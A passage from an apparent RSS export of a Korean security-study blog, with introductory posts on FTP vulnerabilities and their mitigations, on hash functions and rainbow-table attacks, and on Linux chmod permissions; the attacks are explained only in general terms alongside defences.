&lt;td style=&quot;width: 50%;&quot;&gt;전송 시간&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;바이트 수&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;파일 크기&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;클라이언트IP&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;접속자 IP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;경로&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;전송된 파일 경로&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;b/o/i&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;전송 방향(b:바이너리, a:ASCII 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;사용자&lt;/td&gt;
&lt;td style=&quot;width: 50%;&quot;&gt;로그인 사용자&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. FTP 보안 취약점&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;암호화 되지 않은 통신
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP는 ID, 비밀번호, 명령어, 데이터 모두 평문으로 전송하므로 공격자가 네트워크 패킷을 스니핑하는 경우 로그인 정보 및 파일 내용을 탈취할 수 있습니다.&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 대신 SFTP 또는 FTPS를 사용&lt;/li&gt;
&lt;li&gt;내부망에서도 암호화된 프로토콜을 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;익명 로그인(Anonymous FTP)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;별도의 인증없이 anonymous 계정으로 로그인 가능하게 설정되어 있으면, 누구나 접속할 수 있음&lt;/li&gt;
&lt;li&gt;디폴트로 anonymous는 읽기만 가능하지만, 잘못 설정되면 파일 업로드, 삭제까지 가능해짐&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;anonymous_enable=NO로 익명 접속 비활성화&lt;/li&gt;
&lt;li&gt;업로드 디렉터리는 쓰기전용 + 실행금지 설정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;디렉터리 트래버셜(Directory Traversal)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 ../ 같은 상대경로를 이용하여 루트 디렉터리 밖의 시스템 파일에 접근할 수 있음&lt;/li&gt;
&lt;li&gt;취약한 FTP 서버에서 발생&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;chroot(가상 루트 디렉터리) 설정 : 사용자를 자신의 홈 디렉터리에만 제한&lt;br /&gt;chroot_local_user=YES&lt;/li&gt;
&lt;li&gt;최신버전 FTP &amp;nbsp;서버를 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;FTP Bounce Attack
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP PORT 명령을 악용해 서버가 제3자 시스템에 연결하도록 유도&lt;/li&gt;
&lt;li&gt;공격자가 FTP 서버를 중계서버로 활용 가능&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 서버 설정에서 bounce attack 차단&lt;br /&gt;deny_data_connection=YES&lt;/li&gt;
&lt;li&gt;대부분의 최신 FTP 서버에서 기본적으로 차단됨&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;무차별 대입 공격(Brute Force Attack)&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;공격자가 여러 ID/비밀번호 조합을 시도하여 FTP 계정 탈취 시도&lt;/li&gt;
&lt;li&gt;특히 취약한 패스워드나 계정명이 존재할 경우 위험&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;강력한 비밀번호 정책 사용&lt;/li&gt;
&lt;li&gt;fail2ban 등을 사용해 일정 횟수 로그인 실패시 차단&lt;/li&gt;
&lt;li&gt;PAM 모듈로 인증 보안 강화&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;버퍼 오버플로우 및 코드 실행 취약점
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 서버 소프트웨어의 버그나 취약점을 이용해 악의적인 명령어를 보내면 서버에서 임의 코드 실행 가능&lt;/li&gt;
&lt;li&gt;ProFTPD, vsftpd, wu-ftpdf 등의 구버전에서 발생&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 서버 소프트웨어를 쵯니 버전으로 업데이트&lt;/li&gt;
&lt;li&gt;보안 패치 정기적으로 확인&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;로그 파일 노출
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;FTP 로그 파일에는 사용자명, 접속 IP, 경로 등 민감 정보가 포함될 수 있음&lt;/li&gt;
&lt;li&gt;롷그 파일 접근 권한이 잘못 설정되면 정보 유출 위험&lt;/li&gt;
&lt;li&gt;해결방안
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;/var/log/vsftpd.log 등 로그 파일 권한 제한(chmod 600)&lt;/li&gt;
&lt;li&gt;로그 파일 주기적 로테이션 및 모니터링&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>정보보호</category>
      <category>filetransferprotocol</category>
      <category>FTP</category>
      <category>파일전송프로토콜</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/40</guid>
      <comments>https://defcon.tistory.com/40#entry40comment</comments>
      <pubDate>Sun, 18 May 2025 14:27:41 +0900</pubDate>
    </item>
    <item>
      <title>해시함수의 개념과 특성. 레인보우 테이블 공격</title>
      <link>https://defcon.tistory.com/39</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 해시함수란?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해시함수는 임의의 길이를 가진 입력 데이터를 고저오딘 길이의 해시값으로 변환하는 함수입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1747481418986&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;입력: &quot;Hello World&quot;
해시 값: a591a6d40bf420404a011733cfb7b190d62c65bf0bcda32b57b277d9ad9f146e&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;출력 크기는 해시함수 알고리즘에 따라 설정됨&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 해시함수의 특징&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;일방향성(One Way Function)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력 -&amp;gt; 해시값은 쉽게 계산 가능&lt;/li&gt;
&lt;li&gt;해시값 -&amp;gt; 입력으로 되돌리는 것은 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;충돌저항성(Collision Resistance)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;서로 다른 입력이 동일한 해시값을 가질 확률이 극도로 낮음&lt;/li&gt;
&lt;li&gt;하지만 이론적으로 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;변경 민감성(Avalanche Effect)
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;입력데이터가 1bit만 변경되어도 출력 해시값은 완전히 달라짐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;빠른 연산 속도
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;해시 계산은 매우 빠르게 이루어짐&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;2차 선이미지 회피성
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;주어진 입력 &amp;nbsp;M1에 대해 같은 해시값을 가지는 다은 입력 M2를 찾는 것은 매우 어려움&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 해시함수의 주요 용도&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호 저장
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호를 해시해서 저장 -&amp;gt; 원래 비밀번호는 서버에 없음&lt;/li&gt;
&lt;li&gt;해시값만 저장 -&amp;gt; 탈취되어도 원래 비밀번호는 알수 없음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;데이터 무결성 검증
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;파일이나 메시지가 변경되었는지 확인&lt;/li&gt;
&lt;li&gt;해시값으로 비교 -&amp;gt; 다르면 변조된 것&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;디지털 서명
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;메시지의 해시값을 서명하여 인증&lt;/li&gt;
&lt;li&gt;전체 메시지를 서명하는 것보다 빠르고 효율적&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;블록체인
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;블록의 연결, 작업 증명(Proof of Work)에 해시 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 주요 해시함수 종류&lt;/b&gt;&lt;/h2&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;해시 함수&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;출력 길이&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;특징&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;MD5&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;128bit&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;빠르지만 충돌 발생&lt;br /&gt;보안상 매우 취약&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;SHA-1&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;160bit&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;충돌 발생&lt;br /&gt;사용이 권장되지 않음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;SHA-256&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;256bit&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;현재 가장 널리 사용되는 안전한 해시&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;SHA-3&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;256, 512bit&lt;/td&gt;
&lt;td style=&quot;width: 33.333333%;&quot;&gt;SHA-2와 구조적으로 다름&lt;br /&gt;차세대 표준으로 여겨짐&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 해시 함수 관련 주의사항&lt;/b&gt;&lt;/h2&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;절대로 비밀번호를 해시없이 저장하지 말것&lt;/li&gt;
&lt;li&gt;Salt를 추가하여 Rainbow Table Attack을 방어해야 함&lt;/li&gt;
&lt;li&gt;해시는 암호화가 아니라 지문 생성이라고 생각해야 함. 복호화가 불가능&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;* Rainbow Table Attack이란?&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;미리 계산된 해시값 목록을 활용하여 빠르게 원래 입력을 찾아내는 공격 방법 입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해시함수 자체를 깨는 것이 아니라 해시값 -&amp;gt; 원래 입력을 빠르게 찾으려고 하는 사전 공격의 일종입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;레이보우 테이블 공격의 원리&lt;/b&gt;&lt;/h4&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;공격자는 비밀번호 후보 리스트를 준비&lt;br /&gt;(ex. 123456, password, qerty, abc123..)&lt;/li&gt;
&lt;li&gt;각 후보를 해시함수에 넣어 해시값을 미리 계산&lt;/li&gt;
&lt;li&gt;해시값을 테이블에 저장. 이것을 레인보우 테이블이라고 함&lt;/li&gt;
&lt;li&gt;추후 유출된 해시값이 있을 때 레인보우 테이블에 해당 해시값이 저장되어 있는지 검색하고, 해시값이 존재할 경우 입력 메시지를 알아낼 수 있음&lt;/li&gt;
&lt;/ol&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;레인보우 테이블의 장점&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;한번 만들어놓으면 여러 공격에 재사용이 가능함&lt;/li&gt;
&lt;li&gt;계산을 미리 해놨으므로 매우 빠르게 공격이 가능함&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;레인보우 테이블 공격의 방어 방법&lt;/b&gt;&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Salt를 사용
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호에 고유의 Salt(랜덤 데이터)를 추가하여 해시를 수행&lt;/li&gt;
&lt;li&gt;같은 비밀번호라도 다른 해시값이 생성되므로 레인보우테이블 공격을 무력화할 수 있음&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre id=&quot;code_1747482447347&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;비밀번호: 'password'
Salt: 'X8t!2'
해시값: H('passwordX8t!2')&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;비밀번호 복잡도 강화&lt;br /&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;복잡하고 긴 비밀번호를 사용하여 레인보우 테이블을 만들기 어렵도록 함&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>암호</category>
      <category>hash</category>
      <category>rainbow table attack</category>
      <category>SHA-2</category>
      <category>해시</category>
      <category>해시암호</category>
      <category>해시함수</category>
      <author>defcon</author>
      <guid isPermaLink="true">https://defcon.tistory.com/39</guid>
      <comments>https://defcon.tistory.com/39#entry39comment</comments>
      <pubDate>Sat, 17 May 2025 20:49:43 +0900</pubDate>
    </item>
    <item>
      <title>linux chmod 명령어 사용방법과 특수권한(setuid, setgid, sticky bit)</title>
      <link>https://defcon.tistory.com/38</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;chmod 명령어&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chmod(change mode)은 Linux/Unix 시스템에서 파일이나 디렉토리의 권한을 변경하는 명령어입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사용권한은 읽기(read,), 쓰기(write), 실행(execute) 권한을 의미하며, 사용자(user), 그룹(group), 기타 사용자(others)로 나누어집니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;chmod 명령어 사용방법&lt;/b&gt;&lt;/h3&gt;
&lt;pre id=&quot;code_1746942728262&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod [옵션] 권한 대상&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 :&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1746942764888&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 755 test.sh
chmod u+x test.sh&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;권한&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 72.093023%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.322581%; text-align: center;&quot;&gt;&lt;b&gt;기호&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 51.770442%; text-align: center;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.322581%; text-align: center;&quot;&gt;r&lt;/td&gt;
&lt;td style=&quot;width: 51.770442%;&quot;&gt;읽기(Read, 4)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.322581%; text-align: center;&quot;&gt;w&lt;/td&gt;
&lt;td style=&quot;width: 51.770442%;&quot;&gt;쓰기(Write, 2)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.322581%; text-align: center;&quot;&gt;x&lt;/td&gt;
&lt;td style=&quot;width: 51.770442%;&quot;&gt;실행(Execute, 1)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;사용자 그룹&lt;/b&gt;&lt;/h3&gt;
&lt;table style=&quot;border-collapse: collapse; width: 61.046512%; height: 85px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.44186%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;그룹&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.604652%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;설명&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.44186%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;u&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.604652%; height: 17px;&quot;&gt;사용자(User, 파일 소유자)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.44186%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;g&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.604652%; height: 17px;&quot;&gt;그룹(Group, 파일의 그룹 소유자)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.44186%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;o&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.604652%; height: 17px;&quot;&gt;기타(Others, 나머지 사용자)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 27.44186%; height: 17px; text-align: center;&quot;&gt;&lt;b&gt;a&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 33.604652%; height: 17px;&quot;&gt;모두(All = u + g + o)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;각 권한의 경우 알파벳으로 r, w, x로 표현할 수 있지만 10진수 숫자로도 표현이 가능하다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 72.55814%; height: 85px;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 30.465116%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;권한&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.093024%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;값&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 30.465116%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;r&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.093024%; height: 17px;&quot;&gt;4&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 30.465116%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;w&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.093024%; height: 17px;&quot;&gt;2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 30.465116%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;x&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.093024%; height: 17px;&quot;&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;height: 17px;&quot;&gt;
&lt;td style=&quot;width: 30.465116%; text-align: center; height: 17px;&quot;&gt;&lt;b&gt;없음&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 42.093024%; height: 17px;&quot;&gt;0&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;숫자를 사용하는 chmod 명령어 예시는 다음과 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1746942958659&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod 755 file
# 소유자: rwx (7), 그룹: rx (5), 기타: rx (5)


chmod 644 file
# 소유자: rw- (6), 그룹: r-- (4), 기타: r-- (4)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기호는 다음과 같이 사용할 수 있다.&lt;/p&gt;
&lt;pre id=&quot;code_1746943023696&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;chmod [ugoa][+-=][rwx] 파일&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 55.813953%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot; data-ke-style=&quot;style12&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.930233%; text-align: center;&quot;&gt;&lt;b&gt;연산자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.900385%; text-align: center;&quot;&gt;&lt;b&gt;의미&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.930233%; text-align: center;&quot;&gt;&lt;b&gt;+&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.900385%;&quot;&gt;권한 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 20.930233%; text-align: center;&quot;&gt;&lt;b&gt;-&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;width: 50.900385%;&quot;&gt;권한 제거&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
